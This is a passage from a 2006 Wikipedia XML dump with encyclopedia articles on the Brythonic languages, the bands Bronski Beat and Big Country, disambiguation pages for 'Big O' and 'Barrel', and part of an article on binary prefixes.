  |fam2=[[Celtic languages|Celtic]]
  |fam3=[[Insular Celtic languages|Insular Celtic]]
  |child1=[[Picts#Pictish language|Pictish]] (possibly)
  |child2=[[Cumbric language|Cumbric]]
  |child3=[[Welsh language|Welsh]]
  |child4=[[Breton language|Breton]]
  |child5=[[Cornish language|Cornish]]
}}

The '''Brythonic languages''' (or ''Brittonic languages'') form one of the two branches of the [[Insular Celtic languages|Insular Celtic]] language family. The name ''Brythonic'' is derived from the [[Welsh language | Welsh]] word ''[[Brython]]'', meaning an indigenous [[British_Isles|Briton]] as opposed to an [[Anglo-Saxon]] or [[Gaels|Gael]]. The Brythonic branch is also referred to as '''P-Celtic''' because the Brythonic reflex of the Proto-Indo-European phoneme *''k&lt;sup&gt;w&lt;/sup&gt;'' is ''p'' as opposed to the [[Goidelic]] ''c''. Such nomenclature usually implies an acceptance of the P-Celtic hypothesis rather than the Insular Celtic hypothesis (for a discussion, see [[Celtic languages]]).

The major Brythonic languages are [[Welsh language|Welsh]] and [[Breton language|Breton]], both of which survive as community languages today. The [[Cornish language]] died out at the end of the eighteenth century, but attempts at reviving it started in the [[20th century|20th]] century and are ongoing. Also notable are the extinct language [[Cumbric language|Cumbric]], and possibly the extinct [[Pictish language|Pictish]] (although the late [[Kenneth H. Jackson]] argued during the [[1950s]], from some of the few remaining examples of Pictish, that Pictish was a non-[[Indo-European]] language, the majority of modern scholars of Pictish do not agree).

==Classification==
The family tree of the Brythonic languages is as follows:

*Brythonic
**[[Picts#Pictish language|Pictish]] (possibly)
**[[Ivernic]] (possibly}
**[[British (language)|British]], ancestral to:
***[[Western Brythonic language]], ancestral to:
****[[Cumbric]]
****[[Welsh language|Welsh]]
***[[Southwestern Brythonic language|Southwestern Brythonic]], ancestral to:
****[[Breton language|Breton]]
****[[Cornish language|Cornish]]

==History and origins==

The modern Brythonic languages all derive from a common ancestral language termed ''British'', ''Common Brythonic'', ''Old Brythonic'' or ''Proto-Brythonic'', which is thought to have developed from the [[Proto-Celtic]] [[language]] which was introduced to [[Great Britain]] from the [[1500 BC|middle second millennium BC]] (Hawkes, 1973). Brythonic languages were then spoken at least in the whole of Great Britain south of the rivers [[River Forth |Forth]] and [[River Clyde|Clyde]], presumably also including the [[Isle of Man]]. The theory has been advanced (notably by R. F. O'Rahilly) that Ireland was populated by speakers of Brythonic before being displaced by speakers of a Q-Celtic language (possibly from the Quarietii tribe of southern [[France]]), although the linguists Dillon and Chadwick reject this theory as being implausible.

During the period of the Roman occupation of Great Britain (AD 43 to c. 410), Common Brythonic borrowed a large stock of [[Latin]] words, both for concepts unfamiliar in the pre-urban society of Celtic Great Britain such as tactics of warfare and urbanisation and rather more mundane words which displaced native terms (most notably, the word for &quot;fish&quot; in all the Brythonic languages derives from the Latin ''piscis'' rather the native *''ēskos''). Approximately eight hundred of these Latin loan-words have survived in the three modern Brythonic languages.

It is probable that during this period Common Brythonic was differentiated into at least two major dialect groups - Southwestern and Western (in addition we may posit additional dialects spoken in what is now England which have left little or no evidence). Between the end of the Roman occupation and the mid sixth century the two dialects began to diverge into recognisably separate languages, the Western into Cumbric and Welsh and the Southwestern into [[Cornish_language|Cornish]] and its closely related sister language [[Breton language|Breton]], which was carried from the south of Great Britain to continental [[Armorica]] by refugees fleeing the [[Anglo-Saxon|Saxon]] invaders.

The Brythonic languages spoken in [[Scotland]], the [[Isle of Man]] and [[England]] were displaced at the same time by [[Goidelic]] and [[Old English language|Old English]] speaking invaders.

For the later history of the neo-Brythonic languages see under their own respective articles.

==Remnants in England and Scotland==

The principal legacy left behind in those territories from which the Brythonic languages were displaced is that of toponyms. Many of the place-names in England and to a lesser extent Scotland are derived (sometimes indirectly) from the Brythonic names, including [[London]], [[Penicuik]], [[Perth, Scotland|Perth]], [[York]], [[Dorchester]], [[Dover]] and [[Colchester]]. Several place-name elements are thought to be wholly or partly Brythonic in origin, particularly ''bre-'', ''bal-'', and ''-dun'' for hills, [[carr]] for a high rocky place, [[coomb]] for a small deep valley. Others reflect the presence of Brythons, such as [[Dumbarton]] - from the [[Scottish Gaelic]] ''Dùn Breatann'' meaning &quot;Fort of the Britons&quot;.

Until recently it has been believed that those areas settled by the Anglo-Saxons were uninhabited at the time or the Britons had fled before them. However, [[Anglo-Saxons#Y_chromosome_analysis|genetic studies]] show that the British were not pushed out to the Celtic fringes – many tribes remained in what was to become England{{ref|capelli}}. These findings strengthen the research of Steven Bassett of the [[University of Birmingham]]; his work during the 1990s suggests that much of the [[West Midlands (region)|West Midlands]] was only very lightly colonised with Anglian and Saxon settlements.

It is generally accepted that linguistic effects on English were lexically rather poor aside from toponyms, consisting of a few domestic words, which may include hubbub, [[peat]], [[bucket]], crock, noggin, gob (c.f. Gaelic ''gob''), nook; and the dialectal term for a [[badger]], i.e. ''brock'' (c.f. Welsh ''broch'', and Gaelic ''Broc''). Arguably, the use of [[periphrastic]] constructions in the English [[verb]] (which is more widespread than in the other [[Germanic languages]]) is traceable to Brythonic influence.

Some researchers argue that English syntax reflects more extensive Brythonic influences.  For instance, in English [[tag question|tag questions]], the form of the tag depends on the verb form in the main statement (''aren't I?'', ''isn't he?'', ''won't we?'' etc). The German ''nicht wahr?'' and the French ''n'est ce pas?'', by contrast, are fixed forms which can be used with almost any main statement. It has been claimed that the English system has been borrowed from Brythonic, since Welsh tag questions vary in almost exactly the same way.  This view is far from being generally accepted, though, since it is equally possible that the Welsh construction is borrowed from English.

Far more notable, but less well known, are the Brythonic influences on [[Scottish Gaelic]] which are many. Like English, periphrastic constructions have come to the fore, but to a much greater degree. Some important borrowings into Gaidhlig include ''Beinn'' meaning mountain, and anglicised &quot;Ben&quot;, probably from the Brythonic ''pen'' meaning &quot;Head&quot;.

==External links==
[http://www.ethnologue.com/show_family.asp?subid=92090 Ethnologue report for Brythonic languages]

==References==
#{{note|capelli}}''[http://www.sciencedirect.com/science?_ob=ArticleURL&amp;_udi=B6VRT-48PV5SH-12&amp;_coverDate=05%2F27%2F2003&amp;_alid=339895807&amp;_rdoc=1&amp;_fmt=&amp;_orig=search&amp;_qd=1&amp;_cdi=6243&amp;_sort=d&amp;view=c&amp;_acct=C000049116&amp;_version=1&amp;_urlVersion=0&amp;_userid=949111&amp;md5=9edf5ce1c39d4139af4c01733282fa82 A Y Chromosome Census of the British Isles]''; Cristian Capelli, Nicola Redhead, Julia K. Abernethy, Fiona Gratrix, James F. Wilson, Torolf Moen, Tor Hervig, Martin Richards, Michael P. H. Stumpf, Peter A. Underhill, Paul Bradshaw, Alom Shaha, Mark G. Thomas, Neal Bradman, and David B. Goldstein Current Biology, Volume 13, Issue 11, Pages 979-984 (2003). Retrieved [[9 December]] [[2005]].
*''The Celtic Roots of English'' edited  by Markku Filppula, Juhani Klemola and Heli Pitkänen, by Joensuu University.

[[Category:Brythonic languages]]
[[Category:Celtic languages]]

[[als:Brythonisch]]
[[br:Predeneg]]
[[cy:Ieithoedd Brythoneg]]
[[de:Britannische Sprachen]]
[[fr:Langue brittonique]]
[[kw:Brythonek]]
[[nl:Brits]]
[[sv:Brittiska språk]]
[[zh:布立吞亞支]]</text>
    </revision>
  </page>
  <page>
    <title>Bronski Beat</title>
    <id>4071</id>
    <revision>
      <id>37112243</id>
      <timestamp>2006-01-28T19:45:12Z</timestamp>
      <contributor>
        <username>Pinots</username>
        <id>531123</id>
      </contributor>
      <text xml:space="preserve">[[Image:bronski-beat.jpg|thumb|125px|right|Bronski Beat]]

'''Bronski Beat''' was a popular British [[Synth pop|synth pop]] trio of the [[1980s]].

At their height, the band comprised of distinctive and diminutive singer [[Jimmy Somerville]], backed by Steve Bronski and Larry Steinbacheck, both of whom played [[Keyboard instrument|keyboards]] and [[Percussion_instrument|percussion]].

Formed in [[1983]], their debut hit came the following year - the striking tale of a boy who was cast away by his family and neighbours for being [[gay]]. Called ''Smalltown Boy'', it peaked at Number 3 in the [[United Kingdom|UK]] and was accompanied by a memorable video of Somerville leaving home, forlornly eating a [[plum]] on a [[train]], being attacked by a [[homophobic]] gang and being returned to his family by the police.

The song quickly established the trio as an outlet for gay issues &amp;ndash; all three members were gay &amp;ndash; and the follow-up single ''Why?'' pursued the same energetic and electronic formula musically, while the lyrics focussed more centrally and darkly on anti-gay [[prejudice]]. Again, it made the Top 10 in the UK.

At the end of [[1984]], the trio released an album which was provocatively titled ''The Age Of Consent''. The sleeve inside listed the varying [[age of consent|ages of consent]] for [[homosexuality|homosexual]] sex in different nations around the world. At the time, the age of consent for gay men in the UK was 21.

A third single was released from it, again causing controversy. ''It Ain't Necessarily So'', the [[George Gershwin|George]] and [[Ira Gershwin]] classic (from ''[[Porgy and Bess]]'') which questions the authenticity of Biblical tales, reached the UK Top 20. Playing the [[clarinet]] solos in the song was [[Richard Coles]], with whom Somerville would later team up to form [[The Communards]].

In [[1985]], the trio joined up with [[Marc Almond]] to record a version of the [[Donna Summer]] classic ''I Feel Love''. The full version was actually a medley, also incorporating snippets of ''Love to Love You Baby'' and ''Johnny Remember Me''. It reached Number 3 in the UK charts, equalling the feats of ''Smalltown Boy'', and was memorably described by one critic as &quot;the gayest record ever made&quot;.

Following the remix album ''Hundreds and Thousands'', Somerville quit the band, stating he wanted a career which was &quot;more political&quot;. Presumably this related to internal politics rather than the lyrical direction of the band, as his new project relied almost entirely on unpolitical songs and cover versions &amp;ndash; and they were a huge success in doing so. He teamed up with Coles to form [[The Communards]] and in [[1986]] outsold all other singles in the UK with their version of ''Don't Leave Me This Way''.

Bronski Beat recruited John Foster as Somerville's replacement, a singer of less stage presence, [[charisma]] and a deeper and more unprovocative voice. A very catchy single called ''Hit That Perfect Beat'' managed, amazingly, to equal the two previous biggest hits by reaching Number 3 in the UK charts, but one solitary Top 20 hit followed, plus the listless album ''Truthdare Doubledare'', before the band's demise.

In [[1995]] a comeback album entitled ''Rainbow Nation'' was released. It was composed partly of re-recorded material and partly new, and failed to make an impact.

[[Category:British musical groups]]
[[Category:LGBT musical groups]]
[[Category:New Wave groups]]
[[Category:Synth pop]]

[[de:Bronski Beat]]
[[it:Bronski beat]]
[[nl:Bronski Beat]]</text>
    </revision>
  </page>
  <page>
    <title>Big Country</title>
    <id>4072</id>
    <revision>
      <id>41490347</id>
      <timestamp>2006-02-27T18:43:23Z</timestamp>
      <contributor>
        <username>Mitchberg</username>
        <id>223977</id>
      </contributor>
      <minor />
      <comment>/* Career */ Kate Bush sang on &quot;The Seer's&quot; title cut.</comment>
      <text xml:space="preserve">{{Infobox_band |
  band_name         = Big Country |
  image             =  |
  country           = [[Scotland]] |
  years_active      = [[1981]]–[[2000]] |
  music_genre       = [[Rock (music)|Rock]]&lt;br&gt;[[New Wave music|New Wave]]&lt;br&gt;[[Celtic rock]] |
  record_label      = [[Phonogram]] &amp; Track-BCR Records |
  current_members   = [[Stuart Adamson]]&lt;br /&gt;[[Bruce Watson]]&lt;br/&gt; Tony Butler&lt;br /&gt; Mark Brzezicki 
}}

'''Big Country''' was a [[Rock (music)|rock]] band from [[Dunfermline]], [[Scotland]], popular in the early to mid 1980s, but still releasing material for a [[cult]] following as recently as 2004. Canonically composed of [[Stuart Adamson]] (formerly of [[The Skids]], [[vocals]],  [[guitar]], [[piano]]), Mark Brzezicki ([[drums]]), Tony Butler ([[bass guitar]]), and Bruce Watson (guitar), though a variety of other musicians have been in the band during their long wanderings in post-popularity, including [[Pete Wishart]] who joined [[Runrig]] and became prominent in the [[Scottish National Party|SNP]].

== Career ==
Formed initially as a 5-piece band in 1981, their first [[single (music)|single]] was &quot;[[Harvest Home]]&quot;, recorded and released in 1982.  It was a modest success, reaching #91 on the [[UK singles chart]]. Their next single was 1983's &quot;[[Fields of Fire]]&quot;, which reached the UK's Top Ten and was rapidly followed by the album ''[[The Crossing (album)|The Crossing]]''. The album was a crossover hit in the United States, powered by &quot;[[In a Big Country]]&quot;, their only stateside hit single. Much of the impetus for its success in the U.S. came from airplay it got on MTV, which at the time was more open to post-punk and new wave acts. The song featured heavily engineered guitar playing, strongly reminiscent of [[bagpipes]]; Adamson and fellow guitarist, Watson, achieved this through the use of the MXR Pitch Transposer 129 Guitar Effect. Also contributing to the band's unique sound was their early virtuoso use of the [[e-bow]], a device which allows a guitar to sound more like strings or synthesizer.  ''The Crossing'' sold over a million copies in the UK and obtained [[gold record]] status (sales of over 500,000) in the U.S.

The band released the non-LP [[extended play]] single ''Wonderland'' in 1984 while undergoing a lengthy worldwide tour.  The song, generally considered one of their finest, was a Top Ten hit (#8) in the UK but despite heavy [[airplay]] and a positive critical response, was a comparative flop in the U.S., reaching a disappointingly low #86 on the [[Billboard Hot 100]]. It would prove to be the last single by the band to make a U.S. chart appearance. This would be an early indicator of the different commercial reception the band got in the U.S., where their music failed to get airplay on hard rock stations.      

Their second album ''[[Steeltown]]'' (1984) was a hit out of the gate, entering the UK album charts at Number 1. The album featured three UK Top 30 hit singles, and received considerable critical acclaim on both sides of the Atlantic, but like ''Wonderland'' (and, in fact, all subsequent releases) it was a huge commercial disappointment in the U.S.

Throughout [[1984]] and [[1985]], the band toured relentlessly in the [[UK]], [[Europe]], and, to a lesser extent, the [[U.S.]], both as headliners themselves and in support of such artists as [[Queen (band)|Queen]] and [[Roger Daltry]].  They also recorded prolifically, and provided the [[musical score]] to a Scottish [[independent film]], ''Restless Natives'' (1985), which would not be released on CD until years later on the band's ''Restless Natives and Rarities'' (1998) collection.

1986's ''[[The Seer]]'', the band's third album, was another big success in the UK, peaking at Number 2, and producing three additional Top 30 UK singles.  These included &quot;Look Away&quot; which reached Number 7 (the band's highest charting UK single).  [[Kate Bush]] provided [[backing vocals]] on the title cut, and, as was the norm for the band at the time, the album received good reviews from the music press.  Despite managing modestly better sales stateside than ''Steeltown'' had, it was still considered a commercial failure there.  

In an apparent attempt to regain their dwindling U.S. following, Big Country hooked up with then-hot producer [[Peter Wolf]] for their next album, ''[[Peace in Our Time]]'' (1988), which was recorded in [[Los Angeles]], [[California]].  The result was bland generic [[stadium rock]] that stripped away the band's unique sound and disappointed fans and critics alike. It sold poorly.

In [[1991]], the band was dropped by [[Phonogram]], the label that had released all of their material for ten years.  After that, Big Country became a minor act, popping up in the lower echelons of the charts in the UK and Europe every now and then, while churning out mild-selling album after album. Only one of these albums, 1993's ''[[The Buffalo Skinners]]'', would receive a [[major label]] release (via [[Chrysalis Records]]); it seemed a return to form of sorts for the band, and obtained a surprisingly enthusiastic critical response.  But its sales were meagre and, in retrospect, it can be seen as Big Country's lost, last chance to regain a mass audience.  Regardless, the band's cult following remained intensely devoted to them, as evidenced by their deceptively huge post-1990 [[discography]], which consists mostly of [[live concert]] recordings and singles/rarities collections. 

Throughout the 90's, Big Country became a popular 'opening act', supporting such bands as [[Rolling Stones]] and [[The Who]]; Roger Daltrey reportedly uttered on numerous occasions that he'd 'love to steal their rhythm section!'. (In fact, Big Country had backed Daltrey on his 1985 solo album 'Under The Raging Moon', and Tony Butler played bass and backing vocals on [[Pete Townshend]]'s 1980 hit single 'Let My Love Open The Door.') 

Of growing concern, however, was the mental and emotional health of lead singer Adamson, who reportedly had struggled with alcoholism for several years.  He had moved to [[Nashville]] in the mid-90s, where he took up residence and remarried. While in Nashville, he met noted artist Marcus Hummon and released an acclaimed studio album with him, under the moniker 'The Raphaels'. 

1999 saw the release of Big Country's 8th and final studio album, ''Driving to Damascus'' (titled in its slightly different, augmented U.S. release ''John Wayne's Dream''). Adamson said publicly that he was disappointed that the album did not fare better on the charts, which led to depression.  In 1999 he disappeared for a while before resurfacing, stating that he had just needed some time off.  In November 2001 however, he disappeared once again.  He was found dead in a room at the Best Western Plaza Hotel in Honolulu, [[Hawaii]] on [[December 16]], [[2001]].  The official [[autopsy]] revealed that he had hanged himself.[http://starbulletin.com/2001/12/18/news/story4.html ]
[http://news.scotsman.com/topics.cfm?tid=50&amp;id=1700742001 ] 
[http://www.nme.com/news/100545.htm ]

== Discography ==

=== Albums ===
*''[[The Crossing (album)|The Crossing]]'' (1983)
*''[[Steeltown]]'' (1984)
*''Wonderland'' (EP) (1984)
*''[[The Seer]]'' (1986)
*''[[Peace in Our Time]]'' (1988)
*''[[No Place Like Home]]'' (1991)
*''[[The Buffalo Skinners]]'' (1993)
*''[[Without the Aid of a Safety Net]]'' (live) (1994)
*''[[Radio 1 Sessions]]'' (live) (1994)
*''[[Why the Long Face?]]'' (1995)
*''[[BBC Live in Concert]]'' (1995)
*''Eclectic'' (live) (1996)
*''King Biscuit Flower Hour'' (live) (1997)
*''Brighton Rock'' (live) (1997)
*''Restless Natives &amp; Rarities'' (1998)
*''Bon Apetit (EP)'' (1999)
*''In The Scud (EP)'' (1999)
*''Driving To Damascus'' (1999)
*''Come Up Screaming'' (live) (2000)
*''Big Country: The Nashville Album'' (2000)
*''Das Fest - Live In Germany '95'' (live) (2001)
*''Undercover'' (covers album) (2001)
*''Rarities II'' (2001)
*''One In A Million'' (acoustic) (2001)
*''Greatest 12&quot; Hits'' (80's remixes) (2001)
*''Live in Cologne'' (2002)
*''John Wayne's Dream (US Remaster of 'Driving To Damascus')'' (2002)
*''Rarities III'' (2002)''
*''Rarities IV (The Crossing Sessions)'' (2003)
*''Rarities V (No Place Like Home Sessions)'' (2003)
*''Rarities VI'' (2003)
*''Rarities VII (The Damascus Sessions)'' (2004)
*''The Buffalo Skinners - The US Remaster'' (2005)
*''Without the Aid of a Safety Net - The Complete Concert''(live) (2005)
*''Rarities VIII''(2005)

=== Singles ===

{| class=&quot;wikitable&quot;
|rowspan=&quot;2&quot;|'''Year'''
|rowspan=&quot;2&quot;| '''Title'''
|colspan=&quot;4&quot;| '''Chart positions'''
|rowspan=&quot;2&quot;| '''Album'''
|-

|U.S. [[Billboard Hot 100|Hot 100]]
|U.S. [[Modern Rock Tracks chart|Modern Rock]]
|U.S. [[Mainstream Rock Tracks chart|Mainstream Rock]]
|[[UK_Singles_Chart|UK Singles Chart]]
|-
| 1983
| &quot;Fields Of Fire&quot;
| #52 (1984)
| -
| -
| #10
| ''The Crossing''
|-
| 1983
| &quot;In A Big Country&quot;
| #17
| -
| #3
| #17
| ''The Crossing''
|-
| 1983
| &quot;Chance&quot;
| -
| -
| -
| #9
| ''The Crossing''
|-
| 1984
| &quot;Wonderland&quot;
| #86
| - 
| -
| #8
| ''The Crossing''
|-
| 1984
| &quot;East Of Eden&quot;
| -
| -
| -
| #17
| ''Steeltown''
|-
| 1984
| &quot;Where The Rose Is Sown&quot;
| -
| -
| -
| #29
| ''Steeltown''
|-
| 1985
| &quot;Just A Shadow&quot;
| -
| -
| -
| #26
| ''Steeltown''
|-
| 1986
| &quot;Look Away&quot;
| -
| -
| -
| #7
| ''The Seer''
|-
| 1986
| &quot;The Teacher&quot;
| -
| -
| -
| #28
| ''The Seer''
|-
| 1986
| &quot;One Great Thing&quot;
| -
| -
| -
| #19
| ''The Seer''
|-
| 1988
| &quot;King of Emotion&quot;
| -
| #11
| #20
| #16
| ''Peace in Our Time''
|-
| 1989
| &quot;Peace In Our Time&quot;
| -
| -
| -
| #39
| ''Peace In Our Time''
|-
| 1993
| &quot;The One I Love&quot;
| -
| #17
| #34
| -
| ''The Buffalo Skinners''
|}

==Band Personnel Details==

*[[Stuart Adamson]] was born William Stuart Adamson in [[Manchester]], [[England]], on [[April 11]], [[1958]].  Adamson had previously been guitarist for seminal Scottish punk band [[The Skids]].  He committed suicide on [[December 16]], [[2001]].

*[[Mark Brzezicki]] was born Mark Michael Brzezicki in [[Slough]], [[Berkshire]], on [[June 21]], [[1957]], the son of a [[Polish Air Force]] pilot who'd flown with the [[Royal Air Force]] in World War II.  Brzezicki had had a long career as a [[studio musician]] before joining Big Country, having played on albums by [[Pete Townsend]] and [[Simon Townsend]], [[Ultravox]], [[Procol Harum]], [[Roger Daltrey]] and many others.  Brzezicki continues to work as a session drummer today.

*[[Tony Butler (bass player)|Tony Butler]] was born Anthony Earle Peter Butler in [[Shepherd's Bush]], [[ London]], on [[February 13]], [[1957]].  Butler was also a highly-experienced session musician, having played with [[Pete Townsend]], [[The Pretenders]] and many other artists.

*Bruce Watson was born Bruce William Watson in [[Timmins]], [[Ontario]], on [[March 11]], [[1961]].

The odd detail that emerges that, as one of [[Scotland]]'s finest ever rock bands, none of its number were actually born in that country.

==External links==
* [http://www.bigcountry.co.uk/home.php Official Site]
* [http://www.trouserpress.com/entry.php?a=big_country Trouser Press: Big Country entry]
* [http://jefitoblog.com/blog/?p=484 The Complete Idiot's Guide to Big Country]


[[Category:New Wave groups|Big Country]]
[[Category:Scottish musical groups|Big Country]]
[[Category:Rock music groups|Big Country]]


[[de:Big Country]]
[[nl:Big Country]]</text>
    </revision>
  </page>
  <page>
    <title>Big O</title>
    <id>4073</id>
    <revision>
      <id>39556219</id>
      <timestamp>2006-02-14T06:57:13Z</timestamp>
      <contributor>
        <username>Bubbagreen10</username>
        <id>930785</id>
      </contributor>
      <text xml:space="preserve">'''Big O''' can refer to any of:

* A concept in [[mathematics]] and [[computational complexity theory]]. See [[Big O notation]].
* A Japanese [[anime]] series. See ''[[The Big O]]''.
* A [[euphemism]] for [[orgasm]].
* The [[1976 Summer Olympics|1976 Summer Olympic]] [[Olympic Stadium (Montreal)|Stadium]] in [[Montreal]].
* [[Oscar Robertson]], a [[basketball]] player.
* [[Big O Tires]], a tire company in the [[United States]].
* ''[[The Big O (album)|The Big O]]'', a [[Roy Orbison]] album, or Roy Orbison himself.
* ''[[The Missing Piece Meets the Big O]]'', a children's book by [[Shel Silverstein]]
* A marketing slogan of [[Overstock.com]]
* The St. Olaf men's cross country team.

{{disambig}}</text>
    </revision>
  </page>
  <page>
    <title>Barrel (disambiguation)</title>
    <id>4074</id>
    <revision>
      <id>41889483</id>
      <timestamp>2006-03-02T11:24:28Z</timestamp>
      <contributor>
        <ip>81.67.86.5</ip>
      </contributor>
      <comment>- fr:Baril; that French page is no disambiguation page and is equivalent/linked to Barrel (unit)</comment>
      <text xml:space="preserve">'''Barrel''' can refer to:
* [[barrel (storage)|Barrels for storage]]; especially  [[aging barrel|Barrels for aging alcoholic beverages]]. Hence also 
** [[barrel (unit)|Barrel]] as one of several units of volume [[measure]] ([[fluid]] for crude oil or beer, and dry for goods like fruits and vegetables).
** any device made from and/or resembling such a barrel, e.g. 
*** [[barrel pillory]] alias Spanish mantle
*** [[barrel organ]] (musical instrument)
*** [[Gun barrel]] as a [[firearm]] component.
*** [[barrel (horology)|Barrel]] as a [[watch]] component.
*** the [[venturi]] of a [[carburetor]]
** [[barrel distortion]] in [[optics]]
** [[barrelled set]] in [[functional analysis]]
* In Harry Turtledove's [[Timeline-191]] alternate history series, 'barrel' refers to a [[tank]].

* see also: [[Heidelberg Castle#Huge Wine Barrel in the Heidelberg Castle|Huge Wine Barrel]] in the German [[Heidelberg Castle]]

{{disambig}}

[[da:Tønde]]
[[de:Fass]]
[[es:Barril]]
[[nl:vat]]
[[nn:Tønne]]
[[sl:Sod]]</text>
    </revision>
  </page>
  <page>
    <title>Binary prefix</title>
    <id>4077</id>
    <revision>
      <id>41797192</id>
      <timestamp>2006-03-01T20:40:50Z</timestamp>
      <contributor>
        <username>Johnteslade</username>
        <id>102856</id>
      </contributor>
      <minor />
      <text xml:space="preserve">In computing, '''[[Binary numeral system|binary]] [[prefix]]es''' can be used to quantify large numbers where powers of two are more useful than powers of ten.  Each successive prefix is multiplied by 1024 (2&lt;sup&gt;10&lt;/sup&gt;) rather than the 1000 (10&lt;sup&gt;3&lt;/sup&gt;) used by the [[SI prefix]] system. Despite the ambiguity, binary prefixes are often written and pronounced identically to the SI prefixes, rather than using the system described below.

== History ==
Using the prefixes kilo-, mega-, giga-, etc., and their symbols K, M, G, etc. (see below for the peculiarities of &quot;K&quot;), in the binary sense can cause serious confusion.

In January [[1999]], the [[International Electrotechnical Commission]] introduced the prefixes ''kibi-'', ''mebi-'', ''gibi-'', etc., and the symbols Ki, Mi, Gi, etc. to specify binary multiples of a quantity. {{ref|1}}  They have since been officially adopted by many other organizations, most notably the [[Institute of Electrical and Electronics Engineers]], see standard [[IEEE 1541]]. However, they have not been widely adopted and many people continue to use the [[SI prefix]]es in a binary sense, despite the lack of support from official bodies. As a result, there is no unambiguous notation for decimal multiples of bits and bytes.

The names and values of the [[SI prefixes]] were defined in the 1960 SI standard, with powers-of-1000 values. [[As of 2005]], standard dictionaries do not recognize the binary meanings for these prefixes.

== Binary prefixes using SI symbols (Non-standard usage but common) ==
{| border=&quot;1&quot; align=&quot;center&quot; cellpadding=&quot;3&quot; cellspacing=&quot;0&quot;
|----- bgcolor=#ccccff
!&amp;nbsp;Name&amp;nbsp;
! Symbol
! Value 
!&amp;nbsp;Base 16&amp;nbsp;
!&amp;nbsp; Base 10 &amp;nbsp;
|-----
|&lt;center&gt; [[kilo]] &lt;/center&gt;||&lt;center&gt; K &lt;/center&gt;
|&amp;nbsp; 2&lt;sup&gt;10&lt;/sup&gt; = 1,024
|&amp;nbsp;= 16&lt;sup&gt;2.5&lt;/sup&gt;
|&amp;nbsp; &gt; 10&lt;sup&gt;3&lt;/sup&gt;
|----- bgcolor=#ffff99
|&lt;center&gt; [[mega]] &lt;/center&gt;||&lt;center&gt; M &lt;/center&gt;
|&amp;nbsp; 2&lt;sup&gt;20&lt;/sup&gt; = 1,048,576
|&amp;nbsp;= 16&lt;sup&gt;5&lt;/sup&gt;
|&amp;nbsp; &gt; 10&lt;sup&gt;6&lt;/sup&gt;
|-----
|&lt;center&gt; [[giga]]  &lt;/center&gt;||&lt;center&gt; G  &lt;/center&gt;
|&amp;nbsp; 2&lt;sup&gt;30&lt;/sup&gt; = 1,073,741,824
|&amp;nbsp;= 16&lt;sup&gt;7.5&lt;/sup&gt;
|&amp;nbsp; &gt; 10&lt;sup&gt;9&lt;/sup&gt;
|----- bgcolor=#ffff99
|&lt;center&gt; [[tera]]  &lt;/center&gt;||&lt;center&gt; T  &lt;/center&gt;
|&amp;nbsp; 2&lt;sup&gt;40&lt;/sup&gt; = 1,099,511,627,776
|&amp;nbsp;= 16&lt;sup&gt;10&lt;/sup&gt;
|&amp;nbsp; &gt; 10&lt;sup&gt;12&lt;/sup&gt;
|-----
|&lt;center&gt; [[peta]]  &lt;/center&gt;||&lt;center&gt; P  &lt;/center&gt;
|&amp;nbsp; 2&lt;sup&gt;50&lt;/sup&gt; = 1,125,899,906,842,624
|&amp;nbsp;= 16&lt;sup&gt;12.5&lt;/sup&gt;
|&amp;nbsp; &gt; 10&lt;sup&gt;15&lt;/sup&gt;
|----- bgcolor=#ffff99
|&lt;center&gt; [[exa]]  &lt;/center&gt;||&lt;center&gt; E  &lt;/center&gt;
|&amp;nbsp; 2&lt;sup&gt;60&lt;/sup&gt; = 1,152,921,504,606,846,976
|&amp;nbsp;= 16&lt;sup&gt;15&lt;/sup&gt;
|&amp;nbsp; &gt; 10&lt;sup&gt;18&lt;/sup&gt;
|-----
|&lt;center&gt; [[zetta]]  &lt;/center&gt;||&lt;center&gt; Z  &lt;/center&gt;
|&amp;nbsp; 2&lt;sup&gt;70&lt;/sup&gt; = 1,180,591,620,717,411,303,424
|&amp;nbsp;= 16&lt;sup&gt;17.5&lt;/sup&gt;
|&amp;nbsp; &gt; 10&lt;sup&gt;21&lt;/sup&gt;
|----- bgcolor=#ffff99
|&lt;center&gt; [[yotta]]  &lt;/center&gt;||&lt;center&gt; Y  &lt;/center&gt;
|&amp;nbsp; 2&lt;sup&gt;80&lt;/sup&gt; = 1,208,925,819,614,629,174,706,176&amp;nbsp;
|&amp;nbsp;= 16&lt;sup&gt;20&lt;/sup&gt;
|&amp;nbsp; &gt; 10&lt;sup&gt;24&lt;/sup&gt;
|-----
|}

The one-letter abbreviations are identical to SI prefixes, except for &quot;K&quot;, which is used interchangeably with &quot;k&quot; (in SI, &quot;K&quot; stands for the [[kelvin]], and ''only'' &quot;k&quot; stands for 1000). Some have suggested that &quot;k&quot; be used for 1000, and &quot;K&quot; for 1024, but this cannot be extended to the higher order prefixes and has never been widely recognised.

Notice that as the order of magnitude increases, the percentage difference between the binary and decimal values of a prefix increases, from 2.4% at kilo to over 20% at yotta.

=== Approximate ratios between binary prefixes and their decimal equivalent ===
{| border=&quot;1&quot; cellpadding=&quot;3&quot; cellspacing=&quot;0&quot;
|- bgcolor=#ccccff
! Name
! Bin ÷ Dec
! Dec ÷ Bin
! Example
! Percentage difference
|-
|[[kilobyte]] : [[kibibyte]]
|1.024
|0.976
|100 KB = 97.6 KiB
|2.4%
|-
|[[megabyte]] : [[mebibyte]]
|1.049
|0.954
|100 MB = 95.4 MiB
|4.9%
|-
|[[gigabyte]] : [[gibibyte]]
|1.074
|0.931
|100 GB = 93.1 GiB
|7.4%
|-
|[[terabyte]] : [[tebibyte]]
|1.100
|0.909
|100 TB = 90.9 TiB
|10%
|-
|}

Informally, the prefixes are often used on their own. Thus one might hear about &quot;a 40K file&quot; (40 ''binary'' kilobytes) or &quot;a 2M Internet connection&quot; (2 ''decimal'' megabits per second). What units are being used, and whether the multipliers are decimal or binary, depends on exactly what is being measured.

== IEC standard prefixes ==
In [[1999]], the [[International Electrotechnical Commission]] (IEC) published Amendment 2 to &quot;[[IEC 60027]]-2: Letter symbols to be used in electrical technology — Part 2: Telecommunications and electronics&quot;. This standard, which was approved in [[1998]], introduced the prefixes ''kibi-'', ''mebi-'', ''gibi-'', ''tebi-'', ''pebi-'', ''exbi-'', to be used in specifying binary multiples of a quantity. The names come from the first two letters of the original SI prefixes followed by ''bi'' which is short for &quot;binary&quot;. It also clarifies that, from the point of view of the IEC, the SI prefixes only have their base-10 meaning and never have a base-2 meaning.

This amendment was included in the next edition of the standard:
&quot;IEC 60027-2 (2000-11) Ed. 2.0&quot;

